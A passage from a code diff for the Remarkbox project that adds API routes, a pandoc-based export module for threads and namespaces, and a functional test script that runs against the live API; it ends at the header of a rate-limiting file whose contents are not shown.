config.add_route("api-user-profile", "/api/v1/user/profile")
|
||||||
|
config.add_route("api-client-python", "/api/v1/clients/python")
|
||||||
|
config.add_route("api-client-c", "/api/v1/clients/c")
|
||||||
|
config.add_route("api-webmention", "/api/v1/webmention")
|
||||||
|
config.add_route("api-admin-namespaces", "/api/v1/admin/namespaces")
|
||||||
|
config.add_route("api-admin-recent-nodes", "/api/v1/admin/recent-nodes")
|
||||||
|
# Export routes — {subpath} captures "name.format" or "node_id.format"
|
||||||
|
config.add_route("api-export-formats", "/api/v1/export/formats")
|
||||||
|
config.add_route("api-export-namespace", "/api/v1/export/namespace/{subpath}")
|
||||||
|
config.add_route("api-export-thread", "/api/v1/export/threads/{subpath}")
|
||||||
|
config.add_route("api-export-node", "/api/v1/export/nodes/{subpath}")
|
||||||
|
# Theme routes
|
||||||
|
config.add_route("api-namespace-theme", "/api/v1/themes/{namespace_name}/css")
|
||||||
|
config.add_route("api-theme-preview", "/api/v1/themes/{namespace_name}/preview")
|
||||||
|
config.scan("remarkbox.api.views")
|
||||||
|
config.scan("remarkbox.api.export")
|
||||||
|
config.scan("remarkbox.api.wiki")
|
||||||
|
config.scan("remarkbox.api.themes")
|
||||||
350
remarkbox/api/export.py
Normal file
|
|
@ -0,0 +1,350 @@
|
||||||
|
"""Export API — render threads and namespaces via pandoc.
|
||||||
|
|
||||||
|
URI scheme:
|
||||||
|
GET /api/v1/export/namespace/{name}.{format} — full book
|
||||||
|
GET /api/v1/export/threads/{node_id}.{format} — single chapter
|
||||||
|
GET /api/v1/export/nodes/{node_id}.{format} — on-demand subthread
|
||||||
|
GET /api/v1/export/formats — list available formats
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
from pyramid.response import Response
|
||||||
|
from pyramid.view import view_config
|
||||||
|
|
||||||
|
from remarkbox.models.namespace import get_namespace_by_name
|
||||||
|
from remarkbox.models.node import (
|
||||||
|
get_node_by_id,
|
||||||
|
get_nodes_who_share_root,
|
||||||
|
)
|
||||||
|
|
||||||
|
from remarkbox.lib.pandoc import (
|
||||||
|
convert,
|
||||||
|
node_tree_to_markdown,
|
||||||
|
namespace_to_markdown,
|
||||||
|
get_available_output_formats,
|
||||||
|
resolve_format,
|
||||||
|
CONTENT_TYPES,
|
||||||
|
FILE_EXTENSIONS,
|
||||||
|
BINARY_FORMATS,
|
||||||
|
)
|
||||||
|
from remarkbox.lib import provenance as prov
|
||||||
|
|
||||||
|
from .views import check_namespace_api_access
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def _public_host(request):
|
||||||
|
"""Return the host the user is browsing from.
|
||||||
|
|
||||||
|
The edge proxy rewrites the Host header (e.g. www.foxhop.net → foxhop.net)
|
||||||
|
before reaching origin. Caddy preserves the original in X-Forwarded-Host,
|
||||||
|
so prefer that when present — otherwise fall back to request.host.
|
||||||
|
Handles a comma-separated chain by taking the first entry.
|
||||||
|
"""
|
||||||
|
forwarded = request.headers.get("X-Forwarded-Host", "")
|
||||||
|
if forwarded:
|
||||||
|
return forwarded.split(",")[0].strip()
|
||||||
|
return request.host
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_format_from_subpath(subpath):
|
||||||
|
"""Extract format from the subpath (e.g. 'abc-123.md' -> ('abc-123', 'markdown')).
|
||||||
|
|
||||||
|
Extensions are resolved through EXTENSION_ALIASES so users can hit common
|
||||||
|
file extensions (.md, .html, .tex) instead of pandoc's internal names.
|
||||||
|
"""
|
||||||
|
if "." in subpath:
|
||||||
|
stem, ext = subpath.rsplit(".", 1)
|
||||||
|
return stem, resolve_format(ext)
|
||||||
|
return subpath, "markdown"
|
||||||
|
|
||||||
|
|
||||||
|
def _export_response(content, to_format, filename_stem):
|
||||||
|
"""Build a Response for exported content."""
|
||||||
|
content_type = CONTENT_TYPES.get(to_format, "application/octet-stream")
|
||||||
|
ext = FILE_EXTENSIONS.get(to_format, "")
|
||||||
|
filename = "{}{}".format(filename_stem, ext)
|
||||||
|
|
||||||
|
is_binary = isinstance(content, bytes)
|
||||||
|
|
||||||
|
response = Response(
|
||||||
|
body=content if is_binary else content.encode("utf-8"),
|
||||||
|
content_type=content_type,
|
||||||
|
)
|
||||||
|
response.content_disposition = 'attachment; filename="{}"'.format(filename)
|
||||||
|
return response
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# List formats
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-export-formats",
|
||||||
|
request_method="GET",
|
||||||
|
renderer="json",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_export_formats(request):
|
||||||
|
"""List all available export formats."""
|
||||||
|
available = sorted(get_available_output_formats())
|
||||||
|
return {
|
||||||
|
"formats": available,
|
||||||
|
"count": len(available),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Export thread (single root node = chapter)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-export-thread",
|
||||||
|
request_method="GET",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_export_thread(request):
|
||||||
|
"""Export a single thread (root node + all replies) in any pandoc format."""
|
||||||
|
subpath = request.matchdict["subpath"]
|
||||||
|
node_id, to_format = _parse_format_from_subpath(subpath)
|
||||||
|
|
||||||
|
available = get_available_output_formats()
|
||||||
|
if to_format not in available:
|
||||||
|
request.response.status_code = 400
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {
|
||||||
|
"error": "Unsupported format: {}".format(to_format),
|
||||||
|
"available": sorted(available),
|
||||||
|
}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
node = get_node_by_id(request.dbsession, node_id)
|
||||||
|
if node is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {"error": "Thread not found"}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
root = node if node.is_root else node.root
|
||||||
|
namespace = root.namespace
|
||||||
|
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = denied
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
# Fetch all visible nodes in the thread
|
||||||
|
nodes = get_nodes_who_share_root(
|
||||||
|
request.dbsession, root,
|
||||||
|
exclude_root=True,
|
||||||
|
visibility_filters={"disabled": False},
|
||||||
|
).all()
|
||||||
|
|
||||||
|
# Build provenance bundle so the exported document points back to its
|
||||||
|
# living source on Remarkbox (canonical URI + QR + per-reply permalinks).
|
||||||
|
# Use request.host (the host the export was actually fetched from) so
|
||||||
|
# canonical URIs preserve user-facing prefixes like `www.` that the
|
||||||
|
# namespace's stored name may omit.
|
||||||
|
provenance = prov.build(
|
||||||
|
canonical_uri=prov.canonical_uri_for_node(root, host=_public_host(request)),
|
||||||
|
version=request.static_version,
|
||||||
|
kind="thread",
|
||||||
|
host=_public_host(request),
|
||||||
|
)
|
||||||
|
|
||||||
|
# Render tree to markdown
|
||||||
|
md = node_tree_to_markdown(root, nodes, provenance=provenance)
|
||||||
|
title = root.title or str(root.id)
|
||||||
|
|
||||||
|
if to_format in ("markdown", "gfm", "commonmark"):
|
||||||
|
# Short-circuit: already markdown, no pandoc needed
|
||||||
|
return _export_response(md, to_format, root.slug or str(root.id))
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = convert(md, from_format="markdown", to_format=to_format, title=title)
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
log.error("Pandoc conversion failed: %s", e.stderr)
|
||||||
|
request.response.status_code = 500
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {
|
||||||
|
"error": "Conversion failed",
|
||||||
|
"detail": e.stderr[:500] if e.stderr else "unknown error",
|
||||||
|
}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
return _export_response(output, to_format, root.slug or str(root.id))
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Export namespace (full book)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-export-namespace",
|
||||||
|
request_method="GET",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_export_namespace(request):
|
||||||
|
"""Export an entire namespace as a book in any pandoc format."""
|
||||||
|
subpath = request.matchdict["subpath"]
|
||||||
|
name, to_format = _parse_format_from_subpath(subpath)
|
||||||
|
|
||||||
|
available = get_available_output_formats()
|
||||||
|
if to_format not in available:
|
||||||
|
request.response.status_code = 400
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {
|
||||||
|
"error": "Unsupported format: {}".format(to_format),
|
||||||
|
"available": sorted(available),
|
||||||
|
}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
namespace = get_namespace_by_name(request.dbsession, name)
|
||||||
|
if namespace is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {"error": "Namespace not found"}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = denied
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
roots = namespace.visible_roots.all()
|
||||||
|
|
||||||
|
def node_fetcher(root):
|
||||||
|
return get_nodes_who_share_root(
|
||||||
|
request.dbsession, root,
|
||||||
|
exclude_root=True,
|
||||||
|
visibility_filters={"disabled": False},
|
||||||
|
).all()
|
||||||
|
|
||||||
|
provenance = prov.build(
|
||||||
|
canonical_uri=prov.canonical_uri_for_namespace(namespace, host=_public_host(request)),
|
||||||
|
version=request.static_version,
|
||||||
|
kind="namespace",
|
||||||
|
host=_public_host(request),
|
||||||
|
)
|
||||||
|
|
||||||
|
md = namespace_to_markdown(namespace, roots, node_fetcher, provenance=provenance)
|
||||||
|
title = namespace.description or namespace.name
|
||||||
|
|
||||||
|
if to_format in ("markdown", "gfm", "commonmark"):
|
||||||
|
return _export_response(md, to_format, name)
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = convert(md, from_format="markdown", to_format=to_format, title=title)
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
log.error("Pandoc conversion failed: %s", e.stderr)
|
||||||
|
request.response.status_code = 500
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {
|
||||||
|
"error": "Conversion failed",
|
||||||
|
"detail": e.stderr[:500] if e.stderr else "unknown error",
|
||||||
|
}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
return _export_response(output, to_format, name)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Export node (on-demand subthread at any depth)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-export-node",
|
||||||
|
request_method="GET",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_export_node(request):
|
||||||
|
"""Export a node and its subtree in any pandoc format (on-demand)."""
|
||||||
|
subpath = request.matchdict["subpath"]
|
||||||
|
node_id, to_format = _parse_format_from_subpath(subpath)
|
||||||
|
|
||||||
|
available = get_available_output_formats()
|
||||||
|
if to_format not in available:
|
||||||
|
request.response.status_code = 400
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {
|
||||||
|
"error": "Unsupported format: {}".format(to_format),
|
||||||
|
"available": sorted(available),
|
||||||
|
}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
node = get_node_by_id(request.dbsession, node_id)
|
||||||
|
if node is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {"error": "Node not found"}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
namespace = node.root.namespace
|
||||||
|
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = denied
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
# For a non-root node, we need to get its subtree.
|
||||||
|
# Fetch all nodes in the root's tree, then filter to descendants.
|
||||||
|
from remarkbox.models.node import get_graph_from_nodes, flatten_graph
|
||||||
|
all_nodes = get_nodes_who_share_root(
|
||||||
|
request.dbsession, node.root,
|
||||||
|
visibility_filters={"disabled": False},
|
||||||
|
).all()
|
||||||
|
|
||||||
|
# Include root so the graph is complete
|
||||||
|
all_with_root = [node.root] + list(all_nodes) if not node.is_root else list(all_nodes)
|
||||||
|
|
||||||
|
graph = get_graph_from_nodes(all_with_root)
|
||||||
|
|
||||||
|
# Get descendant IDs of the target node
|
||||||
|
if node.id in graph:
|
||||||
|
descendant_ids = set(flatten_graph(node.id, graph, include_given_node_id=False))
|
||||||
|
else:
|
||||||
|
descendant_ids = set()
|
||||||
|
|
||||||
|
# Filter to just the subtree
|
||||||
|
subtree_nodes = [n for n in all_nodes if n.id in descendant_ids]
|
||||||
|
|
||||||
|
provenance = prov.build(
|
||||||
|
canonical_uri=prov.canonical_uri_for_node(node, host=_public_host(request)),
|
||||||
|
version=request.static_version,
|
||||||
|
kind="subthread",
|
||||||
|
host=_public_host(request),
|
||||||
|
)
|
||||||
|
|
||||||
|
md = node_tree_to_markdown(
|
||||||
|
node, subtree_nodes, include_root=True, provenance=provenance,
|
||||||
|
)
|
||||||
|
title = node.title or "Thread {}".format(str(node.id)[:8])
|
||||||
|
|
||||||
|
if to_format in ("markdown", "gfm", "commonmark"):
|
||||||
|
slug = node.slug or str(node.id)
|
||||||
|
return _export_response(md, to_format, slug)
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = convert(md, from_format="markdown", to_format=to_format, title=title)
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
log.error("Pandoc conversion failed: %s", e.stderr)
|
||||||
|
request.response.status_code = 500
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {
|
||||||
|
"error": "Conversion failed",
|
||||||
|
"detail": e.stderr[:500] if e.stderr else "unknown error",
|
||||||
|
}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
slug = node.slug or str(node.id)
|
||||||
|
return _export_response(output, to_format, slug)
|
||||||
370
remarkbox/api/functional_test.py
Normal file
|
|
@ -0,0 +1,370 @@
|
||||||
|
"""
|
||||||
|
Functional test of the Remarkbox API against a live instance.
|
||||||
|
|
||||||
|
Uses cookie persistence so authentication survives across runs.
|
||||||
|
First run requires an OTP; subsequent runs reuse the session.
|
||||||
|
Creates one persistent "API Testing Journey" thread and appends
|
||||||
|
a new section on each run. All other operations are reads.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
# First run (sends OTP, prompts for code):
|
||||||
|
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com
|
||||||
|
|
||||||
|
# With OTP on command line:
|
||||||
|
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com 173786
|
||||||
|
|
||||||
|
# Subsequent runs reuse saved session:
|
||||||
|
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com
|
||||||
|
|
||||||
|
# Set display name (idempotent):
|
||||||
|
python functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com --name timehexon
|
||||||
|
|
||||||
|
# Specify existing journey thread to append to:
|
||||||
|
python functional_test.py ... --journey 9f970183-ffaf-11f0-b565-040140774501
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import datetime
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from remarkbox_client import RemarkboxClient, RemarkboxError
|
||||||
|
|
||||||
|
THREAD_TITLE = "API Testing Journey"
|
||||||
|
DEFAULT_COOKIE_DIR = os.path.join(os.path.expanduser("~"), ".config", "remarkbox")
|
||||||
|
PASS = "PASS"
|
||||||
|
FAIL = "FAIL"
|
||||||
|
|
||||||
|
|
||||||
|
class JournalWriter:
|
||||||
|
"""Collects test results and builds a markdown journal section."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.lines = []
|
||||||
|
self.results = []
|
||||||
|
self._step = 0
|
||||||
|
|
||||||
|
def step(self, title):
|
||||||
|
self._step += 1
|
||||||
|
self.lines.append("### {}. {}".format(self._step, title))
|
||||||
|
|
||||||
|
def note(self, text):
|
||||||
|
self.lines.append(text)
|
||||||
|
|
||||||
|
def blank(self):
|
||||||
|
self.lines.append("")
|
||||||
|
|
||||||
|
def log(self, test_name, passed, detail=""):
|
||||||
|
mark = "+" if passed else "!"
|
||||||
|
status = PASS if passed else FAIL
|
||||||
|
print(" [{}] {} {}{}".format(mark, status, test_name,
|
||||||
|
": " + detail if detail else ""))
|
||||||
|
self.results.append(passed)
|
||||||
|
return passed
|
||||||
|
|
||||||
|
@property
|
||||||
|
def passed(self):
|
||||||
|
return sum(1 for r in self.results if r)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def total(self):
|
||||||
|
return len(self.results)
|
||||||
|
|
||||||
|
def summary_line(self):
|
||||||
|
return "**{}/{} passed.**".format(self.passed, self.total)
|
||||||
|
|
||||||
|
def render(self):
|
||||||
|
return "\n".join(self.lines)
|
||||||
|
|
||||||
|
|
||||||
|
def ensure_authenticated(client, email, otp=None):
|
||||||
|
"""Return True if authenticated, attempting login/verify if needed."""
|
||||||
|
try:
|
||||||
|
profile = client.get_profile()
|
||||||
|
if profile.get("user"):
|
||||||
|
return True, "reused session"
|
||||||
|
except RemarkboxError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Request OTP on this client, then verify
|
||||||
|
login_result = client.login(email)
|
||||||
|
status = login_result.get("status")
|
||||||
|
|
||||||
|
if otp and status in ("sent", "throttled"):
|
||||||
|
try:
|
||||||
|
result = client.verify(email, otp)
|
||||||
|
if result.get("status") == "authenticated":
|
||||||
|
return True, "verified otp"
|
||||||
|
except RemarkboxError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Need interactive OTP
|
||||||
|
if status == "throttled":
|
||||||
|
print("\n OTP already sent to {} (check inbox)".format(email))
|
||||||
|
else:
|
||||||
|
print("\n OTP sent to {}".format(email))
|
||||||
|
otp = input(" Enter 6-digit code: ").strip()
|
||||||
|
result = client.verify(email, otp)
|
||||||
|
return result.get("status") == "authenticated", "verified otp"
|
||||||
|
|
||||||
|
|
||||||
|
def find_journey_thread(client, namespace):
|
||||||
|
"""Find existing journey thread by title, or return None."""
|
||||||
|
data = client.list_threads(namespace)
|
||||||
|
for thread in data.get("threads", []):
|
||||||
|
if thread["title"].strip() == THREAD_TITLE:
|
||||||
|
return thread["id"]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def run(url, namespace, email, otp=None, display_name=None, journey_id=None):
|
||||||
|
cookie_file = os.path.join(DEFAULT_COOKIE_DIR, "cookies.txt")
|
||||||
|
os.makedirs(DEFAULT_COOKIE_DIR, exist_ok=True)
|
||||||
|
|
||||||
|
client = RemarkboxClient(url, email=email, cookie_file=cookie_file)
|
||||||
|
j = JournalWriter()
|
||||||
|
now = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Phase 1: Read operations (no trace)
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
print("\nPhase 1: Read operations")
|
||||||
|
|
||||||
|
j.step("List Threads")
|
||||||
|
try:
|
||||||
|
data = client.list_threads(namespace)
|
||||||
|
ok = data["namespace"]["name"] == namespace
|
||||||
|
j.log("list_threads", ok, "{} threads".format(len(data["threads"])))
|
||||||
|
j.note("Fetched {} threads from `{}`.".format(len(data["threads"]), namespace))
|
||||||
|
j.blank()
|
||||||
|
except Exception as e:
|
||||||
|
j.log("list_threads", False, str(e))
|
||||||
|
|
||||||
|
j.step("Get Thread")
|
||||||
|
thread_id = None
|
||||||
|
try:
|
||||||
|
if data["threads"]:
|
||||||
|
thread_id = data["threads"][0]["id"]
|
||||||
|
detail = client.get_thread(thread_id)
|
||||||
|
ok = "thread" in detail and "replies" in detail
|
||||||
|
j.log("get_thread", ok, "{} replies".format(len(detail["replies"])))
|
||||||
|
j.note("Read thread `{}` with {} replies.".format(
|
||||||
|
thread_id[:8], len(detail["replies"])))
|
||||||
|
j.blank()
|
||||||
|
except Exception as e:
|
||||||
|
j.log("get_thread", False, str(e))
|
||||||
|
|
||||||
|
j.step("Get Node")
|
||||||
|
try:
|
||||||
|
node_data = client.get_node(thread_id)
|
||||||
|
ok = node_data["node"]["id"] == thread_id
|
||||||
|
j.log("get_node", ok)
|
||||||
|
j.note("Fetched node `{}`.".format(thread_id[:8]))
|
||||||
|
j.blank()
|
||||||
|
except Exception as e:
|
||||||
|
j.log("get_node", False, str(e))
|
||||||
|
|
||||||
|
j.step("Error Handling")
|
||||||
|
try:
|
||||||
|
client.list_threads("")
|
||||||
|
j.log("error_400", False, "expected error")
|
||||||
|
except RemarkboxError as e:
|
||||||
|
j.log("error_400", e.status == 400, "HTTP {}".format(e.status))
|
||||||
|
|
||||||
|
try:
|
||||||
|
client.get_node("00000000-0000-0000-0000-000000000000")
|
||||||
|
j.log("error_404", False, "expected error")
|
||||||
|
except RemarkboxError as e:
|
||||||
|
j.log("error_404", e.status == 404, "HTTP {}".format(e.status))
|
||||||
|
j.note("Missing namespace -> 400, nonexistent node -> 404.")
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Phase 2: Authentication
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
print("\nPhase 2: Authentication")
|
||||||
|
|
||||||
|
j.step("Authenticate")
|
||||||
|
ok, method = ensure_authenticated(client, email, otp)
|
||||||
|
j.log("authenticate", ok, method)
|
||||||
|
j.note("Authenticated via {}.".format(method))
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
if not ok:
|
||||||
|
print("\n Authentication failed. Aborting.")
|
||||||
|
return j
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Phase 3: Profile (idempotent)
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
print("\nPhase 3: Profile")
|
||||||
|
|
||||||
|
j.step("Get Profile")
|
||||||
|
try:
|
||||||
|
profile = client.get_profile()
|
||||||
|
current_name = profile["user"]["name"]
|
||||||
|
j.log("get_profile", True, current_name)
|
||||||
|
j.note("Current display name: `{}`.".format(current_name))
|
||||||
|
j.blank()
|
||||||
|
profile_available = True
|
||||||
|
except RemarkboxError as e:
|
||||||
|
j.log("get_profile", False, "endpoint not available (HTTP {})".format(e.status))
|
||||||
|
j.note("Profile endpoint not deployed yet -- skipping profile tests.")
|
||||||
|
j.blank()
|
||||||
|
profile_available = False
|
||||||
|
|
||||||
|
if display_name and profile_available:
|
||||||
|
j.step("Update Display Name")
|
||||||
|
result = client.update_profile(display_name)
|
||||||
|
ok = result["user"]["name"] == display_name
|
||||||
|
j.log("update_profile", ok, "{} -> {}".format(current_name, display_name))
|
||||||
|
j.note("Set display name: `{}` -> `{}`.".format(current_name, display_name))
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# Verify idempotent (run again, same name)
|
||||||
|
result2 = client.update_profile(display_name)
|
||||||
|
j.log("update_profile_idempotent", result2["user"]["name"] == display_name,
|
||||||
|
"same name accepted")
|
||||||
|
|
||||||
|
# Verify invalid name rejected
|
||||||
|
try:
|
||||||
|
client.update_profile("bad name!!!")
|
||||||
|
j.log("error_invalid_name", False, "expected error")
|
||||||
|
except RemarkboxError as e:
|
||||||
|
j.log("error_invalid_name", e.status == 400, "HTTP {}".format(e.status))
|
||||||
|
j.note("Invalid name correctly rejected with 400.")
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Phase 4: Write operations (single journey thread)
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
print("\nPhase 4: Write operations")
|
||||||
|
|
||||||
|
# Find or create the journey thread
|
||||||
|
if not journey_id:
|
||||||
|
journey_id = find_journey_thread(client, namespace)
|
||||||
|
|
||||||
|
if journey_id:
|
||||||
|
j.step("Reuse Journey Thread")
|
||||||
|
j.log("find_journey", True, journey_id[:8])
|
||||||
|
j.note("Found existing journey thread `{}`.".format(journey_id[:8]))
|
||||||
|
j.blank()
|
||||||
|
else:
|
||||||
|
j.step("Create Journey Thread")
|
||||||
|
create_result = client.create_thread(
|
||||||
|
namespace=namespace,
|
||||||
|
title=THREAD_TITLE,
|
||||||
|
data="# {}\n\nInitial creation.".format(THREAD_TITLE),
|
||||||
|
)
|
||||||
|
journey_id = create_result["node"]["id"]
|
||||||
|
j.log("create_thread", bool(journey_id), "node {}".format(journey_id[:8]))
|
||||||
|
j.note("Created journey thread `{}`.".format(journey_id[:8]))
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# Reply
|
||||||
|
j.step("Reply")
|
||||||
|
reply_result = client.reply(
|
||||||
|
journey_id,
|
||||||
|
data="Test reply from run at {}. "
|
||||||
|
"Verifies `POST /api/v1/threads/{{node_id}}/replies`.".format(now),
|
||||||
|
)
|
||||||
|
reply_id = reply_result["node"]["id"]
|
||||||
|
j.log("reply", bool(reply_id), "node {}".format(reply_id[:8]))
|
||||||
|
j.note("Posted reply `{}`.".format(reply_id[:8]))
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# Edit reply
|
||||||
|
j.step("Edit Reply")
|
||||||
|
client.edit_node(
|
||||||
|
reply_id,
|
||||||
|
data="Test reply from run at {} (edited). "
|
||||||
|
"Verifies `PATCH /api/v1/nodes/{{node_id}}`.".format(now),
|
||||||
|
)
|
||||||
|
j.log("edit_reply", True)
|
||||||
|
j.note("Edited reply `{}`.".format(reply_id[:8]))
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Phase 5: Readback
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
print("\nPhase 5: Readback")
|
||||||
|
|
||||||
|
j.step("Readback")
|
||||||
|
readback = client.get_thread(journey_id)
|
||||||
|
ok = readback["thread"]["title"].strip() == THREAD_TITLE
|
||||||
|
j.log("readback", ok, "{} replies".format(len(readback["replies"])))
|
||||||
|
j.note("Read back thread: {} replies.".format(len(readback["replies"])))
|
||||||
|
j.blank()
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Phase 6: Update journey thread body
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
print("\nPhase 6: Update journey thread")
|
||||||
|
|
||||||
|
# +1 to count the update_journey step we're about to do
|
||||||
|
final_passed = j.passed + 1
|
||||||
|
final_total = j.total + 1
|
||||||
|
|
||||||
|
# Update the "Latest:" line in the thread body without rewriting the narrative
|
||||||
|
existing_body = readback["thread"]["data"]
|
||||||
|
import re as _re
|
||||||
|
updated_body = _re.sub(
|
||||||
|
r"\*\*Latest: .+?\*\*",
|
||||||
|
"**Latest: {}/{} passed**".format(final_passed, final_total),
|
||||||
|
existing_body,
|
||||||
|
)
|
||||||
|
if updated_body == existing_body:
|
||||||
|
# No "Latest:" line found -- append one
|
||||||
|
updated_body = existing_body.rstrip() + "\n\n**Latest: {}/{} passed**\n".format(
|
||||||
|
final_passed, final_total)
|
||||||
|
|
||||||
|
client.edit_node(journey_id, data=updated_body)
|
||||||
|
j.log("update_journey", True, "{}/{} passed".format(final_passed, final_total))
|
||||||
|
|
||||||
|
print("\n Journey: {}/api/v1/threads/{}".format(url, journey_id))
|
||||||
|
|
||||||
|
return j
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Functional test of the Remarkbox API against a live instance."
|
||||||
|
)
|
||||||
|
parser.add_argument("url", help="Base URL (e.g. https://my.remarkbox.com)")
|
||||||
|
parser.add_argument("namespace", help="Namespace (e.g. meta.remarkbox.com)")
|
||||||
|
parser.add_argument("email", help="Email for authentication")
|
||||||
|
parser.add_argument("otp", nargs="?", default=None, help="OTP code (optional)")
|
||||||
|
parser.add_argument("--name", default=None,
|
||||||
|
help="Set display name (idempotent)")
|
||||||
|
parser.add_argument("--journey", default=None,
|
||||||
|
help="Existing journey thread ID to append to")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
print("Remarkbox API Functional Test")
|
||||||
|
print(" URL: {}".format(args.url))
|
||||||
|
print(" Namespace: {}".format(args.namespace))
|
||||||
|
print(" Email: {}".format(args.email))
|
||||||
|
if args.name:
|
||||||
|
print(" Name: {}".format(args.name))
|
||||||
|
if args.journey:
|
||||||
|
print(" Journey: {}".format(args.journey))
|
||||||
|
|
||||||
|
j = run(args.url, args.namespace, args.email,
|
||||||
|
otp=args.otp, display_name=args.name, journey_id=args.journey)
|
||||||
|
|
||||||
|
print("\n" + "=" * 40)
|
||||||
|
print("Results: {}/{}".format(j.passed, j.total))
|
||||||
|
|
||||||
|
if j.passed == j.total:
|
||||||
|
print("All tests passed.")
|
||||||
|
else:
|
||||||
|
print("Some tests failed.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
92
remarkbox/api/rate_limit.py
Normal file
|
|
